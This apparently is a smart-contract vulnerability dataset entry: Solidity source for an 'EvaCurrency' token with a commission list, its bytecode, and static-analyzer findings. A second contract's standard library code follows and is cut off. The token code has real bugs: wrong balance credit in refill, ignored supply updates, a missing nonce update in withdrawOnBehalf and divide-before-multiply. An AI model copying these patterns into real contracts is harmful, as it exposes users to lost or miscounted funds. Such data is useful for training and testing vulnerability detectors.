widthrawPaySystemInfo[_paySystem].perc = _perc;
WidthrawCommisionIsChanged(_paySystem, _stat, _perc);
}
// установить информацию по комиссии для перевода
function setTransfer(uint256 _stat, uint256 _perc) public onlyOwner returns (uint256) {
transferInfo.stat = _stat;
transferInfo.perc = _perc;
TransferCommisionIsChanged(_stat, _perc);
}
// взять процент по комиссии для пополняемой платёжной системы
function getRefillStatFor(string _paySystem) public view returns (uint256) {
return refillPaySystemInfo[_paySystem].perc;
}
// взять фикс по комиссии для пополняемой платёжной системы
function getRefillPercFor(string _paySystem) public view returns (uint256) {
return refillPaySystemInfo[_paySystem].stat;
}
// взять процент по комиссии для снимаемой платёжной системы
function getWidthrawStatFor(string _paySystem) public view returns (uint256) {
return widthrawPaySystemInfo[_paySystem].perc;
}
// взять фикс по комиссии для снимаемой платёжной системы
function getWidthrawPercFor(string _paySystem) public view returns (uint256) {
return widthrawPaySystemInfo[_paySystem].stat;
}
// взять процент по комиссии для перевода
function getTransferPerc() public view returns (uint256) {
return transferInfo.perc;
}
// взять фикс по комиссии для перевода
function getTransferStat() public view returns (uint256) {
return transferInfo.stat;
}
// рассчитать комиссию со снятия для платёжной системы и суммы
function calcWidthraw(string _paySystem, uint256 _value) public view returns(uint256) {
uint256 _totalComission;
_totalComission = widthrawPaySystemInfo[_paySystem].stat + (_value / 100 ) * widthrawPaySystemInfo[_paySystem].perc;
return _totalComission;
}
// рассчитать комиссию с пополнения для платёжной системы и суммы
function calcRefill(string _paySystem, uint256 _value) public view returns(uint256) {
uint256 _totalComission;
_totalComission = refillPaySystemInfo[_paySystem].stat + (_value / 100 ) * refillPaySystemInfo[_paySystem].perc;
return _totalComission;
}
// рассчитать комиссию с перевода для платёжной системы и суммы
function calcTransfer(uint256 _value) public view returns(uint256) {
uint256 _totalComission;
_totalComission = transferInfo.stat + (_value / 100 ) * transferInfo.perc;
return _totalComission;
}
}
contract EvaCurrency is PausableToken, BurnableToken {
string public name = "EvaUSD";
string public symbol = "EUSD";
ComissionList public comissionList;
uint8 public constant decimals = 3;
mapping(address => uint) lastUsedNonce;
address public staker;
event Mint(address indexed to, uint256 amount);
function EvaCurrency(string _name, string _symbol) public {
name = _name;
symbol = _symbol;
staker = msg.sender;
}
function changeName(string _name, string _symbol) onlyOwner public {
name = _name;
symbol = _symbol;
}
function setComissionList(ComissionList _comissionList) onlyOwner public {
comissionList = _comissionList;
}
modifier onlyStaker() {
require(msg.sender == staker);
_;
}
// Перевод между кошельками по VRS
function transferOnBehalf(address _to, uint _amount, uint _nonce, uint8 _v, bytes32 _r, bytes32 _s) onlyStaker public returns (bool success) {
uint256 fee;
uint256 resultAmount;
bytes32 hash = keccak256(_to, _amount, _nonce, address(this));
address sender = ecrecover(hash, _v, _r, _s);
require(lastUsedNonce[sender] < _nonce);
require(_amount <= balances[sender]);
fee = comissionList.calcTransfer(_amount);
resultAmount = _amount.sub(fee);
balances[sender] = balances[sender].sub(_amount);
balances[_to] = balances[_to].add(resultAmount);
balances[staker] = balances[staker].add(fee);
lastUsedNonce[sender] = _nonce;
return true;
}
function withdrawOnBehalf(uint _amount, string _paySystem, uint _nonce, uint8 _v, bytes32 _r, bytes32 _s) onlyStaker public returns (bool success) {
uint256 fee;
uint256 resultAmount;
bytes32 hash = keccak256(address(0), _amount, _nonce, address(this));
address sender = ecrecover(hash, _v, _r, _s);
require(lastUsedNonce[sender] < _nonce);
require(_amount <= balances[sender]);
fee = comissionList.calcWidthraw(_paySystem, _amount);
resultAmount = _amount.sub(fee);
balances[sender] = balances[sender].sub(_amount);
balances[staker] = balances[staker].add(fee);
totalSupply_.sub(resultAmount);
Burn(sender, resultAmount);
return true;
}
// Пополнение баланса пользователя, так-же отправляет комиссию для staker
// _to - адрес пополняемого кошелька, _amount - сумма, _paySystem - платёжная система
function refill(address _to, uint256 _amount, string _paySystem) onlyStaker public returns (bool success) {
uint256 fee;
uint256 resultAmount;
fee = comissionList.calcRefill(_paySystem, _amount);
resultAmount = _amount.sub(fee);
balances[_to] = balances[staker].add(resultAmount);
balances[staker] = balances[staker].add(fee);
totalSupply_.add(_amount);
Mint(_to, resultAmount);
return true;
}
function changeStaker(address _staker) onlyOwner public returns (bool success) {
staker = _staker;
}
function getNullAddress() public view returns (address) {
return address(0);
}
}
|
0x608060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610159578063095ea7b3146101e957806318160ddd1461024e57806318e536bc146102795780632359116d146102d057806323b872dd1461037b578063313ce567146104005780633165b26e146104315780633f4ba83a146104c957806342966c68146104e05780635c975abb1461050d5780635ebaf1db1461053c578063661884631461059357806370a08231146105f8578063825d76431461064f5780638456cb591461069257806386575e40146106a95780638da5cb5b1461075857806395d89b41146107af578063a9059cbb1461083f578063ab55979d146108a4578063d73dd623146108ff578063da98655e14610964578063db78f5ef146109bb578063dd62ed3e14610a79578063f2fde38b14610af0575b600080fd5b34801561016557600080fd5b5061016e610b33565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ae578082015181840152602081019050610193565b50505050905090810190601f1680156101db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f557600080fd5b50610234600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd1565b604051808215151515815260200191505060405180910390f35b34801561025a57600080fd5b50610263610c01565b6040518082815260200191505060405180910390f35b34801561028557600080fd5b5061028e610c0b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102dc57600080fd5b50610361600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610c31565b604051808215151515815260200191505060405180910390f35b34801561038757600080fd5b506103e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fdf565b604051808215151515815260200191505060405180910390f35b34801561040c57600080fd5b50610415611011565b604051808260ff1660ff16815260200191505060405180910390f35b34801561043d57600080fd5b506104af600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803560ff16906020019092919080356000191690602001909291908035600019169060200190929190505050611016565b604051808215151515815260200191505060405180910390f35b3480156104d557600080fd5b506104de611573565b005b3480156104ec57600080fd5b5061050b60048036038101908080359060200190929190505050611633565b005b34801561051957600080fd5b50610522611640565b604051808215151515815260200191505060405180910390f35b34801561054857600080fd5b50610551611653565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561059f57600080fd5b506105de600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611679565b604051808215151515815260200191505060405180910390f35b34801561060457600080fd5b50610639600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116a9565b6040518082815260200191505060405180910390f35b34801561065b57600080fd5b50610690600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116f1565b005b34801561069e57600080fd5b506106a7611791565b005b3480156106b557600080fd5b50610756600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611852565b005b34801561076457600080fd5b5061076d6118e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107bb57600080fd5b506107c4611906565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108045780820151818401526020810190506107e9565b50505050905090810190601f1680156108315780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561084b57600080fd5b5061088a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119a4565b604051808215151515815260200191505060405180910390f35b3480156108b057600080fd5b506108e5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119d4565b604051808215151515815260200191505060405180910390f35b34801561090b57600080fd5b5061094a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a78565b604051808215151515815260200191505060405180910390f35b34801561097057600080fd5b50610979611aa8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109c757600080fd5b50610a5f60048036038101908080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929080359060200190929190803560ff16906020019092919080356000191690602001909291908035600019169060200190929190505050611ab0565b604051808215151515815260200191505060405180910390f35b348015610a8557600080fd5b50610ada600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612008565b6040518082815260200191505060405180910390f35b348015610afc57600080fd5b50610b31600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061208f565b005b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bc95780601f10610b9e57610100808354040283529160200191610bc9565b820191906000526020600020905b815481529060010190602001808311610bac57829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515610bef57600080fd5b610bf983836121e7565b905092915050565b6000600154905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c9257600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663edc25f4285876040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001838152602001828103825284818151815260200191508051906020019080838360005b83811015610d43578082015181840152602081019050610d28565b50505050905090810190601f168015610d705780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b158015610d9057600080fd5b505af1158015610da4573d6000803e3d6000fd5b505050506040513d6020811015610dba57600080fd5b81019080805190602001909291905050509150610de082866122d990919063ffffffff16565b9050610e5581600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f290919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f0a82600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f290919063ffffffff16565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f83856001546122f290919063ffffffff16565b508573ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885826040518082815260200191505060405180910390a26001925050509392505050565b6000600360149054906101000a900460ff16151515610ffd57600080fd5b61100884848461230e565b90509392505050565b600381565b6000806000806000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561107a57600080fd5b8a8a8a30604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140194505050505060405180910390209150600182898989604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af1158015611197573d6000803e3d6000fd5b50505060206040510351905088600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156111f057600080fd5b6000808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548a1115151561123d57600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166352cb2a7b8b6040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1580156112ce57600080fd5b505af11580156112e2573d6000803e3d6000fd5b505050506040513d60208110156112f857600080fd5b8101908080519060200190929190505050935061131e848b6122d990919063ffffffff16565b92506113718a6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d990919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611404836000808e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f290919063ffffffff16565b6000808d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114b984600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f290919063ffffffff16565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555088600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019450505050509695505050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115cf57600080fd5b600360149054906101000a900460ff1615156115ea57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b61163d33826126c8565b50565b600360149054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360149054906101000a900460ff1615151561169757600080fd5b6116a1838361287b565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561174d57600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117ed57600080fd5b600360149054906101000a900460ff1615151561180957600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ae57600080fd5b81600490805190602001906118c4929190612f27565b5080600590805190602001906118db929190612f27565b505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561199c5780601f106119715761010080835404028352916020019161199c565b820191906000526020600020905b81548152906001019060200180831161197f57829003601f168201915b505050505081565b6000600360149054906101000a900460ff161515156119c257600080fd5b6119cc8383612b0c565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a3257600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550919050565b6000600360149054906101000a900460ff16151515611a9657600080fd5b611aa08383612d2b565b905092915050565b600080905090565b6000806000806000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b1457600080fd5b60008b8a30604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140194505050505060405180910390209150600182898989604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af1158015611c32573d6000803e3d6000fd5b50505060206040510351905088600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515611c8b57600080fd5b6000808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548b11151515611cd857600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636d05c24d8b8d6040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001838152602001828103825284818151815260200191508051906020019080838360005b83811015611d89578082015181840152602081019050611d6e565b50505050905090810190601f168015611db65780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b158015611dd657600080fd5b505af1158015611dea573d6000803e3d6000fd5b505050506040513d6020811015611e0057600080fd5b81019080805190602001909291905050509350611e26848c6122d990919063ffffffff16565b9250611e798b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d990919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f2e84600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f290919063ffffffff16565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fa7836001546122d990919063ffffffff16565b508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5846040518082815260200191505060405180910390a260019450505050509695505050505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120eb57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561212757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008282111515156122e757fe5b818303905092915050565b6000818301905082811015151561230557fe5b80905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561234b57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561239857600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561242357600080fd5b612474826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d990919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612507826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125d882600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561271557600080fd5b612766816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127bd816001546122d990919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561298c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a20565b61299f83826122d990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612b4957600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515612b9657600080fd5b612be7826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c7a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000612dbc82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612f6857805160ff1916838001178555612f96565b82800160010185558215612f96579182015b82811115612f95578251825591602001919060010190612f7a565b5b509050612fa39190612fa7565b5090565b612fc991905b80821115612fc5576000816000905550600101612fad565b5090565b905600a165627a7a72305820e52f5c1ce0fa19fa5ae59c41dc94d1ca0b681dfeacc8e260bbb376173cca90590029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 9,105 |
0x8ed5afcb8877624802a0cbfb942c95c2b7c87146
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
